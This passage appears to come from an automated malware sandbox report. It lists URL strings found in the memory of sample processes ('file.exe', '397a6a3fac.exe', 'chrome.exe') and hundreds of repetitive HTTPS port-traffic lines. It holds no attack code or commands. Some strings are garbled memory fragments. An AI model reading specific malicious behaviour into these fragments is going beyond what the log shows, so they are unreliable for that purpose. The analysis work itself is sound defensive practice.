Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 0000002A.00000003.3392905045.000039DC00904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: file.exe, 00000000.00000002.2447069810.0000000000587000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 397a6a3fac.exe, 0000001E.00000003.3043472668.0000000005753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2447069810.0000000000587000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2447069810.0000000000587000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 397a6a3fac.exe, 0000001E.00000003.3043472668.0000000005753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2447069810.0000000000587000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2389220239.0000000023928000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2903364716.0000000005535000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3043472668.0000000005753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 397a6a3fac.exe, 0000001E.00000003.3043472668.0000000005753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2389220239.0000000023928000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2903364716.0000000005535000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3043472668.0000000005753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2447069810.0000000000587000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2389220239.0000000023928000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2903364716.0000000005535000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3043472668.0000000005753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2447069810.0000000000587000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 59656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59641
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 59641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59655
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59656
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 57606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
